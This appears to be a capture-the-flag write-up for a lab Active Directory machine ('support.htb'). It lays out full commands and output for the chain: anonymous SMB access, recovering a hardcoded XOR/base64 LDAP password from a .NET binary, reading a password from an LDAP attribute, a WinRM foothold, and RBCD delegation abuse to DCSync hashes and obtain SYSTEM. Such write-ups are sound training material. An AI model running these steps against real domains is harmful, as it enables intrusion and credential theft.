Recon
Classic Active Directory port fingerprint. DNS, Kerberos, LDAP, SMB, WinRM — this is a domain controller. Domain name from nmap: support.htb.
$ nmap -sC -sV -oN nmap/initial 10.129.5.1 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open smb 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ssl/ldap 3268/tcp open ldap 5985/tcp open http Microsoft HTTPAPI 2.0 (WinRM) | ldap-rootdse: namingcontexts: DC=support,DC=htb
Enumeration
SMB — Unauthenticated Share Enumeration
$ smbclient -L //10.129.5.1/ -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share
The support-tools share is readable without authentication. It contains various Windows tools and one custom binary: UserInfo.exe.
$ smbclient //10.129.5.1/support-tools -N -c "get UserInfo.exe"
.NET Reverse Engineering
UserInfo.exe is a .NET assembly — opened it in dnSpy. The application makes LDAP queries to enumerate users. The LDAP bind credentials are hardcoded in the source, but the password is XOR-encrypted with the key "armando" and then base64-encoded.
// LdapQuery class
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static string key = "armando";
protected static string getPassword() {
byte[] array = Convert.FromBase64String(enc_password);
byte[] bytes = Encoding.ASCII.GetBytes(key);
for (int i = 0; i < array.Length; i++) {
array[i] ^= bytes[i % bytes.Length];
}
return Encoding.ASCII.GetString(array);
}
# decrypt in Python $ python3 -c " import base64 enc = base64.b64decode('0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E') key = b'armando' print(''.join(chr(enc[i] ^ key[i % len(key)]) for i in range(len(enc)))) " nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP service account password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz. Bind as support\ldap and enumerate users — the support user has a password in the info attribute.
$ ldapsearch -H ldap://10.129.5.1 -D "support\ldap" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" \ -b "DC=support,DC=htb" "(objectClass=user)" info sAMAccountName | grep -A2 "support" sAMAccountName: support info: Ironside47pleasure40Watchful
Foothold
$ evil-winrm -i 10.129.5.1 -u support -p 'Ironside47pleasure40Watchful' *Evil-WinRM* PS C:\Users\support\Documents> whoami support\support
Privilege Escalation
I ran BloodHound to map the AD attack paths. The support account is a member of Shared Support Accounts, which has GenericAll on the Domain Controller computer object (DC$). GenericAll on a computer object enables Resource-Based Constrained Delegation (RBCD) — I can configure delegation from a fake computer I control to the DC, then request a service ticket impersonating Administrator.
msDS-AllowedToActOnBehalfOfOtherIdentity → configure RBCD from attacker computer to DC → S4U2Self + S4U2Proxy to get CIFS ticket as Administrator.
# Step 1: Add a fake computer account $ addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123!' \ -dc-ip 10.129.5.1 support.htb/support:'Ironside47pleasure40Watchful' [+] Machine account ATTACKPC$ added # Step 2: Configure RBCD — allow ATTACKPC$ to delegate to DC$ $ rbcd.py -delegate-from 'ATTACKPC$' -delegate-to 'DC$' -action write \ -dc-ip 10.129.5.1 support.htb/support:'Ironside47pleasure40Watchful' [+] Delegation rights modified successfully! # Step 3: Request a service ticket as Administrator via S4U $ getST.py -spn cifs/dc.support.htb -impersonate Administrator \ -dc-ip 10.129.5.1 support.htb/'ATTACKPC$':AttackPass123! [+] Saved credential cache to Administrator.ccache # Step 4: Use the ticket for DCSync / remote execution $ KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass dc.support.htb Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb1f5a60ed219e5f0f7b528c1daaf91b::: $ KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass Administrator@dc.support.htb C:\Windows\system32> whoami nt authority\system
Flags
Lessons Learned
- .NET binaries frequently contain hardcoded credentials — always reverse engineer custom tools found in SMB shares with dnSpy/ILSpy. XOR-with-base64 "encryption" is not encryption.
- LDAP user attributes (
info,description,comment) are commonly used to store passwords by helpdesk staff — enumerate all user attributes after LDAP bind. - RBCD is a powerful AD attack when you have GenericAll on a computer object — it's worth mapping the full BloodHound attack path rather than only looking for direct paths.
- Unauthenticated SMB share access is worth enumerating carefully — custom tools in shares like
support-toolsoften contain the credentials needed to escalate further.